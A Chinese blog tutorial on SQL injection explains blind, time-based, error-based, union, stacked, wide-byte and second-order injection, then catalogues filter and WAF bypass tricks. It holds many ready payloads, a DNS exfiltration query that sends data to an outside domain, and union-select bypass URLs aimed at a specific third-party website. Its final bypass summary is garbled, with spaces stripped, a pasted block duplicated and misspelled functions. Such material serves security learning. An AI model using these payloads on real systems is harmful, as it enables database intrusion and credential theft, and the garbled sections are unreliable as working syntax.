SQL注入漏洞

发布时间 2023-10-16 15:16:39作者: fan高

SQL注入漏洞

1.SQL注入简述

SQL注入漏洞是服务器在处理SQL语句时错误的拼接用户提交的参数,打破了原有的SQL语句的逻辑,导致攻击者可以掌握SQL的执行效果的一类安全问题。

例如,有一条sql语句如下:

select*from students where username='张三' and password='xxx'

这条语句的意思是查询张三的信息。他有两个条件,username和password,当我们输入这两个参数并且全部正确时,他才会返回张三信息。假设这里没有对用户输入的数据进行判断,此时有位攻击者在username中输入了这样的数据:张三’and 1=1#。此时这条sql语句就变成了下面这样:

select*from students where username='张三’ and 1=1#' and password='xxx'

攻击者输入的张三’与前面的单引号闭合了,形成了一个完整的参数,而后面的and1=1成为了sql语句的一部分,最后#为注释,把后面的语句注释掉了,此时这条语句变成了这样:

select*from students where username='张三’ and 1=1

可以看到,张三的信息在没有输入密码的情况下就显示出来了。

2.SQL注入的类型

2.1按照注入点类型分类

2.1.1整型注入

​ 整型注入是指注入参数的两侧没有任何闭合符号,由于这种情况下数据库处理的参数都是整形、浮点型等数字,所以又称数字型注入,如:

select*from demo where id=1

​ 这里可以直接构造payload进行注入:

select*from demo where id=1 and 1=1

2.1.2字符型注入

​ 字符型注入的两侧闭合多为单引号,有时也有双引号,如:

select*from demo where id='1'

​ 此时我们如果再像整型注入的方式构造payload,会发现输入语句被单引号包括起来了,这样也就不会生效了。

sql注入的本质就是打破原本传递数据的区域边界,插入逻辑代码。

​ 构造payload:1'and 'a'='a。如下所示:

select*from demo where id='1'and 'a'='a'

​ 通过插入” 1'and 'a'='a “,打破了原本的闭合边界,于是可以在and之前自由地插入新的判断逻辑来完成注入。

​ 后面的 “ 'a'='a ”主要用于闭合最后的单引号,也可以使用"#"来屏蔽后续语句,如:

select*from demo where id='1 and 1=1#'

​ 需要注意的是,在MySQL中"#"仅作用于单行,如果后续的语句有换行的情况下,谁用"#"是不成立的。

2.1.3搜索型注入

​ 搜索型注入的本质还是字符型注入,不过在构造语句时略有区别,搜索型注入常见于like之后使用的模糊匹配,如:

select*from demo where name like '%a%'

​ 针对这里的注入,我们可以使用“ a%' and 1=1 '%'=' ”来闭合,如下:

select*from demo where name like '%a%' and 1=1 '%'='%'

​ 同理,也可以在整条语句无换行的情况下使用"#"屏蔽后续语句。

2.1.4 In注入

​ In注入主要发生在in语句内,往往要引入括号来进行闭合,如:

select*from demo where id in (1,2,3)

​ 对于数字型的in注入,我们可以使用“ 1) and (1)=(1 ” 闭合,闭合语句如下:

select*from demo where id in (1,2,3) and (1)=(1)

​ 而对于字符型的in注入,往往还需要加单引号“ 1') and ('1')=('1 ”,如:

select*from demo where id in ('1','2','3') and ('1')=('1')

2.1.5混合型注入

​ 混合型注入主要指的是闭合符号混合搭配,这时候也需要根据情况调整payload。

2.2按提交方式分类

2.2.1get型注入

数据以get型方式进行提交。注入点一般在get提交的URL后。

2.2.2post型注入

数据以post的方式进行提交。注入点一般表单的填写处,如资料的填写等地方较为常见,可以通过bp抓包进行查找

2.2.3http头部注入

user-agent:判定用户使用的操作系统,以及使用的浏览器的版本
cookie:判定用户的身份,进行session跟踪可以存储在用户本地终端上的数据,简单理解为用户的一张身份辨别卡
x-forwarded-for:是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段
client-ip: 数据库保存客户端IP的参数
rerferer:浏览器向web端表明自己从哪个连接而来
host:客户端指定自己想访问的WEB服务器的域名/IP 地址和端口号

2.3按执行效果分类

2.3.1盲注

2.3.1.1布尔盲注

​ 基于布尔的SQL注入的攻击方法,常用于无回显点,又不能基于报错来读取数据的盲注回显中。所谓盲注,就是网站不会给出任何直接的回显,而需要构造payload去探测,根据返回的差异来进行逻辑推理。所谓布尔,是编程语言中的一种数据类型,它只有"True"和"False"两个取值。通过提交断言请求的语句,观察服务器返回"True"还是"False"来印证断言是否成立,从而获取数据库中的数据。

​ MySQL数据库布尔注入的常用方法

运算 payload
1 or 1=1
异或 1xor 1=1
按位与 1 &1=1
1 && 1=1
按位或 1|1 = 1
1 || 1=1

​ 常见数据库及其系统表

数据库 系统表
MySQL information_schema.tables
Oracle all_tables、user_tables
Microsoft SQL Server master、sysobjects
Access
PostgreSQL pg_database、pg_tables
DB2 sysibm

以MySQL为例。

1)判断数据库中有多少数据库。

1 and (select count(*) from information_schema.schemata)>6

2)猜测第一个数据库名称。

1 and (select ascii(mid(schema_name,1,1)) from information_schema.schemata limit 0,1)>101 

​ 通过修改结尾101来根据ASCII码判断第一个数据库的第一个字母,通过修改mid函数的第二个参数来依次猜解第一个数据库名称的后几位字母。通过修改“limit 0,1”的第一个数字“0”来依次递增获取其他几个数据库(“0”是第一个、“1”是第二个,依次类推)。

3)判断指定数据库中有多少个表

1 and (select count(*) from information_schema.tables where table_schema='demo')>4

4)猜测指定数据库第一张表的名称

1 and (select ascii(mid(table_name,1,1)) from information_schema.tables where table_schema='demo' limit 0,1)>101

同理,可以猜解任意数据库中的任意表名。

5)判断指定数据库指定表中有多少个字段。

1 and (select count(*) from information_schema.columns where table_name='user' and table_schema='demo')

6)猜测指定数据库指定表的第一字段。

1 and (select ascii(mid(column_name,1,1)) from information_schema.columns where table_name='user' and table_schema='demo')>101

7)获取指定数据库指定表的数据量。

1 and (select count(*) from demo.user)>6

8)获取指定数据库指定表的第一条数据的第一个字段。

1 and (select ascii(mid(username,1,1)) from demo.user limit 0,1)>101
2.3.2时间盲注

​ 基于时间的注入,顾名思义,是利用时间的长短来判断SQL注入点是否存在的,根据时间的长短来得到SQL语句的执行结果是True还是False。

​ 发送请求 “id=1 and sleep(3)”,如果网站延迟了3秒才返回,基本可以断定此处存在SQL注入漏洞。需要注意的是,“sleep(3)”的延迟时间可能不是3秒,还有可能是6s,9s,12s··· ···但基本都是3的倍数切大于等于3。

​ 基于时间的SQL注入攻击,通常也是用于盲注攻击的,在网站无回显,并且无法使用union、报错注入的情况下才会考虑。思路和布尔注入基本一致。

​ 使用基于时间的SQL注入方法获取数据的流程与布尔注入类似,在具体的payload构造上有细微的区别,主要的思路是通过if函数造成差异,例如:

1 and if(ascii(substr(user(),2,1))<114,sleep(5),1)

​ if函数会优先执行第一个参数中传递的SQL语句,如果成立则会执行第二个参数,于是网站会等待超过5s的时间返回。而如果第一个参数不成立,则会执行第三个参数,由于第三个参数是1,故会立刻返回。由此,可以根据页面的等待时间来了解user()函数执行结果中的第二个字符的ASCII码是否小于114。

2.3.3DNS查询注入

​ 除了直接回显、错误回显、无回显之外,还有一种方法是外带法,想办法将查询的内容通过其他通道带出来,DNS查询注入正是利用了这一方法。

必须windows系统,必须root权限,必须secure_file_priv为空

​ MySQL中有一个 load_file 函数,该函数主要用于读取文件,在Windows下,由于UNC语法,可以支持读取其他域名下的文件,于是攻击者可以通过构造请求,将数据传递到他自己搭建的域名服务器上。

​ UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机

UNC命名使用特定的标记法来识别网络资源. UNC命名由三个部分组成- 服务器名, 共享名, 和一个可选的文件路径. 这三个部分通过backslash连接起来, 如下:

\server\share\file_path

​ 由于该写法只针对Windows服务器有效,所以使用DNS外带注入也仅限于数据库服务器采用Windows操作系统的情况下,具有一定的局限性。

​ 具体发送DNS请求的SQL语句如下:

select load_file('\\\\www.moonslow.com\\a.txt')

​ 当语句被拼接进入SQL执行引擎后,会向www.moonslow.com发送

\\www.moonslow.com\a.txt

请求,需要搭建一条NS服务器,并且给域名增加一条NS记录指向该NS服务器,这样如果该域名被解析,就可以在NS服务器上收到一条解析记录,就可以证明该位置存在SQL注入漏洞了。

2.3.2报错注入

​ 报错注入既是一种SQL注入的检测方法,同时也是利用SQL注入读取数据的方法。

​ 作为检测方法,攻击者在判断一个参数是否存在SQL注入漏洞时,会尝试拼接单引号、反斜杠字符等等。例如:id=1'

这种字符传入后会引起SQL语法的错误,数据库引擎会抛出错误,而有些网站会把错误打印到网页中。

​ 报错注入还可以用来发起攻击。在一些场景下,通过报错回显将目标数据打印在网页上。

MySQL常见的10种报错注入方法

1)floor()

2)extractvalue()

3)geometrycollection

4)multipoint()

5)polygon()

6)multipolygon()

7)linestring()

8)multilinestring()

9)exp()

extractvalue()函数报错注入

​ extractvalue()函数,对XML文档进行查询的函数

语法

​ extractvalue(目标xml文档,xml路径)

​ 函数的第二个参数是可以进行操作的地方,xml文件中查询使用的是/xx/xx/的格式,如果我们写成其他格式就会报错,并且返回我们写入的非法格式内容,而这个非法格式内容就是我们想要查询的内容。

​ 如果是正常格式,则既查询不到,也不会报错

本地测试

​ 构造正常的SQL语句:

select extractvalue(1,concat('/',(select database())))

image-20230916154904714

​ 然后我们构造非法请求SQL:

#正常格式为/xx/xx/,所以我们非法格式可以尝试     \ 
#0x5c  (\),还可以使用0x7e (~)
select extractvalue(1,concat(0x5c,(select database())))

image-20230916155038100

发现返回了非法内容,而且返回的内容就是我们需要的内容。

updatexml()函数报错注入

​ updatexml()函数与extractvalue()函数类似,都是对xml文档进行操作。只不过updatexml()从英文字面上来看就知道是更新的意思。即updatexml()是更新文档的函数。

语法

updatexml(xml_doument,XPath_string,new_value)
第一个参数:XML的内容
第二个参数:是需要update的位置XPATH路径
第三个参数:是更新后的内容
所以第一和第三个参数可以随便写,只需要利用第二个参数,他会校验你输入的内容是否符合XPATH格式

和extractvalue()相同的是都是对第二个参数进行操作的,通过构造非法格式的查询语句,来使其返回错误的信息,并将其更新出来。

本地测试

构造合法的SQL语句查询:

select updatexml('/',(select database()),'/')

image-20230916160218361

构造非法格式进行查询:

select updatexml('/',conca(0x7e,database()),'/')

image-20230916160632494

首先看看0x7e这个东西,它是 ~ 的16进制用来校验,但也不用被0x7e固定化了,只要能做到校验那填什么都可以。

2.3.3union注入

​ 在sql中,union函数是一个操作符,用于将两个或者多个查询结果合并成为一个并集。

union的作用:

合并结果集:当我们需要将多个查询结果合并成一个结果集时,可以使用union函数。这样可以简化查询操作,减少代码的复杂性。
去重数据:union函数会自动去重,即将重复的行从结果集中剔除,只返回唯一的行。这在需要对两个或多个表中的数据进行合并,并消除重复数据时非常有用。
扩展查询:使用union函数可以将多个查询结果合并在一起,从而扩展查询的范围。我们可以在每个SELECT语句中使用不同的条件和过滤器,从不同的表中获取数据,并将它们合并成一个结果集

例如,一条SQL语句如下:

select*from user where id='1'

可以将id参数注入恶意代码,如下:

1' union select username,password from users--+

那么构造的sql查询语句会变为:

select*from user where id='1' union select username,password from users--+'

将会返回所有用户的用户名和密码,绕过了原本的查询条件

通过联合注入漏洞获取敏感信息,或者进行其他恶意操作

union注入流程

​ 1)首先使用order by来判断有多少列:

1' order by 1,2,3,······--+

​ 2)爆破数据库

?id=-1' union select 1,2,database() --+

​ 3)爆破表名

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

​ 4)爆破列名(字段)

?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

​ 5)爆值

?id=0' union select 1,2,group_concat(username,0x3a,password) from users--+

0x3a: 0x是十六进制标志,3a是十进制的58,是ascii中的 ':' ,用以分割pasword和username。

2.4堆叠注入

​ MySQL数据库的sql语句在结束的时候是以“ ; ”结尾,在执行多条语句时就要使用结束隔离符隔开,而堆叠注入就是通过结束符来执行多条sql语句。

image-20230916163323681

堆叠注入的触发条件

1)目标存在SQL注入漏洞

2)对“ ; ”未过滤

3)目标中间层查询数据库信息时可以同时执行多条SQL语句(比如php中mysqli_multi_query()函数,这个函数在支持同时执行多条sql语句,而与之对应的mysqli_query()函数一次只能执行一条sql语句)

2.5宽字节注入

什么是窄、宽字符

​ 当一个字符的大小为一个字节时,称其为窄字节。

​ 当一个字符的大小为两个字节时,成为宽字节。

​ 所有英文默认占一个字节,汉字占两个字节。

常见的宽字符编码

​ GB2312,GBK,GB18030,BIG5,Shift_JIS等

宽字节注入漏洞原理

​ 宽字节注入主要是源于程序员设置数据库编码与PHP编码设置为不通的两个编码格式从而导致产生宽字节注入。

​ 如果数据库使用的是GBK编码而PHP的编码为UTF-8就可能出现注入问题,原因是程序员为了防止SQL注入,就会调用以下几种函数:

addslashes() //函数在预定义字符之前添加反斜杠的字符串

例如:

<?php
$str=addslashes('Yuan "shen" start');
echo $str;
?>
 //输出 Yuan \"shen\" start
mysql_real_escape_string() //函数转义SQL语句中使用的字符串中的特殊字符

例如:

<?php
$con = mysql_connect("localhost", "hello", "321");
if (!$con)
  {
  die('Could not connect: ' . mysql_error());
  }

// 获得用户名和密码的代码

// 转义用户名和密码,以便在 SQL 中使用
$user = mysql_real_escape_string($user);
$pwd = mysql_real_escape_string($pwd);

$sql = "SELECT * FROM users WHERE
user='" . $user . "' AND password='" . $pwd . "'"

// 更多代码

mysql_close($con);
?>
mysql_escape_string()//转义一个字符串

例如:

<?php
$item = "Zak's Laptop";
$escaped_item = mysql_escape_string($item);
printf("Escaped string: %s\n", $escaped_item);
?>
输出://Escaped string: Zak\'s Laptop

将单引号或双引号进行转义操作,转义无非便是在单或双引号前加上斜杠(\)进行转义,但这样并非安全,因为数据库使用的是宽字节编码,两个连在一起的字符会被当做是一个汉字,而在PHP中使用的utf8编码则认为是两个独立的字符,如果我们在单或双引号前添加一个字符,使其和斜杠被组合成一个汉字,从而保留单或双引号,使其发挥应用的作用。但添加的字符的ASCII要大于128,两个字符才能组合成汉字,因为前一个ASCII码要大于128,才到汉字的范围。

实战

nctf-sql injection 3

https://chinalover.sinaapp.com/SQL-GBK/?id=1

image-20230916203100466

https://chinalover.sinaapp.com/SQL-GBK/?id=1'

image-20230916203154639

发现被转义了

使用最经典的%df

https://chinalover.sinaapp.com/SQL-GBK/?id=1%df' and 1=1#

image-20230916203343986

爆数据库

https://chinalover.sinaapp.com/SQL-GBK/?id=-1%df' and 1=1 union select 1,database()%23

image-20230916203433377

下面步骤跟union注入一样了。

2.6二次注入

​ 二次注入的原理,在第一次进行数据库插入数据的时候,仅仅只使用了addslashes函数或者是借助get_magic_quotes_gpc函数对其中的特殊字符进行了转义,但是addslashes有一个特点就是虽然参数在过滤后会添加“ \ ”进行转义,但是“\”并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据。

​ 在将数据存入到数据库中之后,开发者就认为数据是可信的。在下一次进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成sql的二次注入。

image-20230917104329537

实战

image-20230917105657515

​ 这里直接在登录框注入是不行的,登陆处的username和password都经过了mysql_real_escape_string函数的转义,直接执行SQL语句会转义’,所以该处无法造成SQL注入。

<?php 
  function sqllogin(){
   		$username = mysql_real_escape_string($_POST["login_user"]);
   		$password = mysql_real_escape_string($_POST["login_password"]);
   		$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
	//$sql = "SELECT COUNT(*) FROM users WHERE username='$username' and password='$password'";
   		$res = mysql_query($sql) or die('You tried to be real smart, Try harder!!!! :( ');
   		$row = mysql_fetch_row($res);
			//print_r($row) ;
   if ($row[1]) {
			return $row[1];
   } else {
      		return 0;
   }

} 
?>

​ 我们点击下面的New User click here? 来进行注册

image-20230917110202283

注册完成进行登录,登录后发现让修改密码:

image-20230917110308310

那我们不妨注册一个admin'#的账号

image-20230917110414745

注册用户的时候用了mysql_escape_string过滤参数,但是数据库中还是插入了问题数据admin'#。

image-20230917192734166

也就是说经过mysql_escape_string转义的数据存入数据库后被还原。

此时,admin用户的原来密码为admin,我们以admin’#用户登陆,再进行密码修改,原本admin'#账户的密码为123,我们修改为123456。

image-20230917192908807

然后在数据库中看到admin变为123456

image-20230917192945869

我们明明修改的是admin'#账户,而密码改变的却是admin账户,为什么呢

我们看一下修改密码的SQL语句:

UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'

我们传入值后变为:

UPDATE users SET PASSWORD='123456' where username='admin'-- ' and password='$curr_pass'

admin后面的被注释掉了,这条语句很明显是修改admin账户的密码。

3.SQL注入绕过方法

3.1过滤and or

使用符号

or ----->	||
and ---->	&&
xor ---->	|
not ---->	!
	**大小写绕过**
Or、aNd

双写绕过

oorr、anandd

编码绕过

​ urlencode、ASCII、hex、Unicode编码

关键字内联注释绕过

/*!or*/ 、/*!and*/

3.2过滤空格

1)、/**/
2)、()
3)、`(tab键上面的按钮)
4)、tab
5)、+
6)、科学计数法  0e1
7)、空白字符绕过(%20 %09 %0a %0b %0c %0d %a0)
MYSQL    
 	09,0A,0B,0B,0D,A0,20 
PosgressSQL 
	0A,0D,0C,09,20 
Oracle_11g    
	00,0A,0D,0C,09,20 
 MSSQL    	    		01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,OF,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20 

3.3过滤等号

​ 1)like、rlike

​ 不加通配符的 like 执行的效果和 = 一致,所以可以用来绕过。

​ rlike 模糊匹配,只要字段的值中存在要查找的 部分 就会被选择出来,用来取代 = 时,rlike 的用法和上面的 like 一样,没有通配符效果和 = 一样

​ 2)or '1' in (1)#

SELECT*FROM `security`.users WHERE id OR 1 in(1)

3.4过滤括号

​ 编码绕过

3.5过滤union\select\where

​ 大小写

​ 双写

​ 内联注释

​ 编码绕过

​ concat

​ \N绕过

​ union all select绕过

逻辑绕过 
1 && (select user from users limit 1) = 'admin' 
 http://cleopatra-sy.com/index.php?content=more_product&id=-17+/**//**//*!uNiOn*//**/ /**//*!sElEcT*//**//**/1,2,3,4,5,6--  
  
 http://cleopatra-sy.com/index.php?content=more_product&id=-17+/*U*//*n*//*i*//*o*//*n *//*t*/+/*s*//*e*//*l*//*e*//*c*//*t*/+1,2,3,4,5,6--  

 http://cleopatra-sy.com/index.php?content=more_product&id=-17+concat(u,n,i,o,n)+conca t(s,e,l,e,c,t)+all+1,2,3,4,5,6--  

 http://cleopatra-sy.com/index.php?content=more_product&id=-17   and   (select   1)=(select  
0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAA)+/*!union*/+select+1,2,3,4,5,6--+-  
-----------------------------------
突破sql 注入过滤Union+SELECT 继续射下去
https://blog.51cto.com/u_1002776/6230139xxxxxxxxxx  http://cleopatra-sy.com/index.php?content=more_product&id=-17   and   (select   1)=(select  0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA)+/*!union*/+select+1,2,3,4,5,6--+-  -----------------------------------突破sql 注入过滤Union+SELECT 继续射下去https://blog.51cto.com/u_1002776/62301391 &&(select 1)='admin'

3.6过滤比较符

1)greatest (n1, n2, n3…): 返回 n 中的最大值

select * from users where id = 1 and greatest(ascii(substr(username,1,1)),1)=116
#这里的 greatest(函数,1)是用与比较取出其中最大的值用于爆破
#如果任何给定值为NULL,则返回NULL。否则,它将返回最大值。

2)least (n1,n2,n3…): 返回 n 中的最小值,与上同理。

3)strcmp(str1,str2):比较两个字符串,如果这两个字符串相等返回0,如果第一个参数是根据当前的排序小于第二个参数顺序返回-1,否则返回1。

select*from users where id=1 and strcmp(asci(substr(username,1,1)),117)

4)in关键字

用于判断列明中是否存在此关键字,常用于布尔盲注

select * from users where id = 1 and substr(user(),1,1) in ('r')
#表示查询user()中id = 1的行的第一个字符是否为 r

3.7引号绕过

​ 会用到引号的的地方一般是在最后的where子句中。如:

select*from users where name="zs"

​ 这个时候如果引号被过滤了,那么上面的where子句就无法使用了。那么遇到这样的问题就要使用十六进制来处理这个问题了。

users的十六进制的字符串是7573657273。那么最后的sql语句就变为了:

selectcolumn_namefrominformation_schema.tableswheretable_name=0x7573657273

3.8逗号绕过

​ 在使用盲注的时候,需要使用到substr(),mid(),limit。这些方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决:

select substr(database() from 1 for 1)
select mid(database() from 1 for 1)))

​ 对于limit可以使用offset来绕过:

select*from news limit 0,1#等价于下面这条SQL语句
select*from news limit 1 offset 0

offset n 去掉几个值

(1)从“employees”表中第三条开始查询,取一条数据;
(1) select * from employees order by hire_date desc
limit 2,1
(2)从“employees”表中读取一条数据,但是去处前两条数据;
(2) select * from employees order by hire_date desc 
limit 1 offset 2;        

3.9等价函数绕过

hex()、bin()==>ascii()

sleep()==>benchmark()

concat_ws()==>group_concat()

mid()、substr()=>substring()

@@user==>user()

@@datadir==>datadir()

3.10过滤总结

1.1 注释符绕过

常用注释符:

//,-- , //, #, --+, -- -, ;,%00,--aUNION//Select//user,pwd,fromuserU//NION//SE//LECT/**/user,pwdfromuser

1.2 大小写绕过

?id=1+UnIoN/**/SeLeCT

1.3 内联注释绕过

id=1/!UnIoN/+SeLeCT+1,2,concat(/!table_name/)+FrOM/information_schema/.tables/!WHERE /+/!TaBlE_ScHeMa/+like+database()-- -

通常情况下,上面的代码可以绕过过滤器,请注意,我们用的是 Like而不是 =

1.4 双关键字绕过

?id=1+UNIunionON+SeLselectECT+1,2,3–

1.5 编码绕过

如URLEncode编码,ASCII,HEX,unicode编码绕过

or1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。十六进制编码SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))双重编码绕过?id=1%252f%252a/UNION%252f%252a /SELECT%252f%252a/1,2,password%252f%252a/FROM%252f%252a/Users--+一些unicode编码举例: 单引号:'%u0027 %u02b9%u02bc

%u02c8%u2032

%uff07%c0%27%c0%a7%e0%80%a7

空白:

%u0020%uff00

%c0%20%c0%a0%e0%80%a0

左括号(:

%u0028%uff08

%c0%28%c0%a8%e0%80%a8

右括号):

%u0029%uff09

%c0%29%c0%a9%e0%80%a9

1.6 空格绕过

两个空格代替一个空格,用Tab代替空格%20 %09 %0a %0b %0c %0d %a0 /**/

括号绕过空格

在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来

select(user())from dual where 1=1 and 2=2;

1.7 万能密钥绕过

用经典的or1=1判断绕过,如or‘swords’ =’swords

1.8 +,-,.号拆解字符串绕过

?id=1' or'11+11'='11+11'"-"和"."

1.9 like绕过

?id=1' or 1 like 1绕过对“=”,“>”等的过滤

2.0 in绕过

or'1'IN('swords')

2.1 >,<绕过

or'password'>'pass'or1<3

2.2 等价函数与命令绕过

1.函数或变量

hex()、bin()>ascii()sleep()>benchmark()concat_ws()>group_concat()mid()、substr()>substring()@@user>user()@@datadir>datadir()举例:substring()和substr()无法使用时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74 或者:substr((select 'password'),1,1) = 0x70strcmp(left('password',1),0x69)= 1strcmp(left('password',1),0x70)= 0strcmp(left('password',1),0x71)= -1

2.符号

and和or有可能不能使用,可以试下&&和||=不能使用的情况,可以考虑尝试<、>

3.生僻函数

MySQL/PostgreSQL支持XML函数:SelectUpdateXML(‘ ’,’/script/@x/’,’src=//evil.com’);          ?id=1 and 1=(updatexml(1,concat(0x3a,(selectuser())),1))SELECTxmlelement(nameimg,xmlattributes(1assrc,'a\l\x65rt(1)'as\117n\x65rror)); //postgresql?id=1 and extractvalue(1, concat(0x5c, (selecttable_namefrominformation_schema.tableslimit1)));and 1=(updatexml(1,concat(0x5c,(selectuser()),0x5c),1))andextractvalue(1,concat(0x5c, (selectuser()),0x5c))

2.3 反引号`绕过

selectversion(),可以用来过空格和正则,特殊情况下还可以将其做注释符用

2.4 换行符绕过

%0a、%0d

2.5 截断绕过

%00,%0A,?,/0,........,%80-%99

目录字符串,在window下256字节、linux下4096字节时会达到最大值,最大值长度之后的字符将被丢弃。

././././././././././././././././abc

abc

..1/abc/../1/abc/../1/abc

2.6 宽字节绕过

过滤单引号时,可以试试宽字节

%bf%27 %df%27 %aa%27

2.7 \N绕过

\N其实相当于NULL字符

selectfromuserswhereid=8E0unionselect1,2,3,4,5,6,7,8,9,0selectfromuserswhereid=8.0unionselect1,2,3,4,5,6,7,8,9,0select*fromuserswhereid=\Nunionselect1,2,3,4,5,6,7,8,9,0

附:PHP中一些常见的过滤方法及绕过方式

过滤关键字 and or

php代码 preg_match('/(and|or)/i',$id)
会过滤的攻击代码  1 or 1=1 1 and 1=1
绕过方式  1 || 1=1 1 && 1=1

过滤关键字 and or union

php代码 preg_match('/(and|or|union)/i',$id)
会过滤的攻击代码  union select user,password from users
绕过方式1&& (selectuserfromuserswhereuserid=1)='admin'

过滤关键字andorunionwhere

php代码 preg_match('/(and|or|union|where)/i',$id)
会过滤的攻击代码1&& (selectuserfromuserswhereuser_id =1) ='admin'
绕过方式1&& (selectuserfromuserslimit1) ='admin'

过滤关键字andorunionwhere

php代码 preg_match('/(and|or|union|where)/i',$id)
会过滤的攻击代码1&& (selectuserfromuserswhereuser_id =1) ='admin'
绕过方式1&& (selectuserfromuserslimit1) ='admin'

过滤关键字and,or,union,where,limit

php代码 preg_match('/(and|or|union|where|limit)/i', $id)
会过滤的攻击代码1&& (selectuserfromuserslimit1) ='admin'
绕过方式1&& (selectuserfromusersgroupbyuser_idhavinguser_id =1) ='admin'#user_id聚合中user_id为1的user为admin

过滤关键字and,or,union,where,limit,groupby

php代码 preg_match('/(and|or|union|where|limit|group by)/i', $id)
会过滤的攻击代码1&& (selectuserfromusersgroupbyuser_idhavinguser_id =1) ='admin'
绕过方式1&& (selectsubstr(group_concat(user_id),1,1)userfromusers) =1

过滤关键字and,or,union,where,limit,groupby,select

php代码 preg_match('/(and|or|union|where|limit|group by|select)/i', $id)
会过滤的攻击代码1&& (selectsubstr(gruop_concat(user_id),1,1)userfromusers) =1
绕过方式1&&substr(user,1,1) ='a'

过滤关键字and,or,union,where,limit,groupby,select,'

php代码 preg_match('/(and|or|union|where|limit|groupby|select|\')/i', $id)
会过滤的攻击代码1&& (selectsubstr(gruop_concat(user_id),1,1)userfromusers) =1
绕过方式1&& user_idisnotnull1&&substr(user,1,1) =0x611&&substr(user,1,1) =unhex(61)

过滤关键字and,or,union,where,limit,groupby,select,', hex

php代码 preg_match('/(and|or|union|where|limit|groupby|select|\'|hex)/i', $id)
会过滤的攻击代码1&&substr(user,1,1) =unhex(61)
绕过方式1&&substr(user,1,1) =lower(conv(11,10,16)) #十进制的11转化为十六进制,并小写。

过滤关键字and,or,union,where,limit,groupby,select,', hex, substr

php代码 preg_match('/(and|or|union|where|limit|groupby|select|\'|hex|substr)/i', $id)
会过滤的攻击代码1&&substr(user,1,1) =lower(conv(11,10,16))/td>
绕过方式1&&lpad(user,7,1)

过滤关键字and,or,union,where,limit,groupby,select,', hex, substr, 空格

php代码 preg_match('/(and|or|union|where|limit|groupby|select|\'|hex|substr|\s)/i', $id)
会过滤的攻击代码1&&lpad(user,7,1)/td>
绕过方式1%0b||%0blpad(user,7,1)

过滤关键字andorunionwhere

php代码 preg_match('/(and|or|union|where)/i',$id)
会过滤的攻击代码1|| (selectuserfromuserswhereuser_id =1) ='admin'
绕过方式1|| (selectuserfromuserslimit1) ='admin'

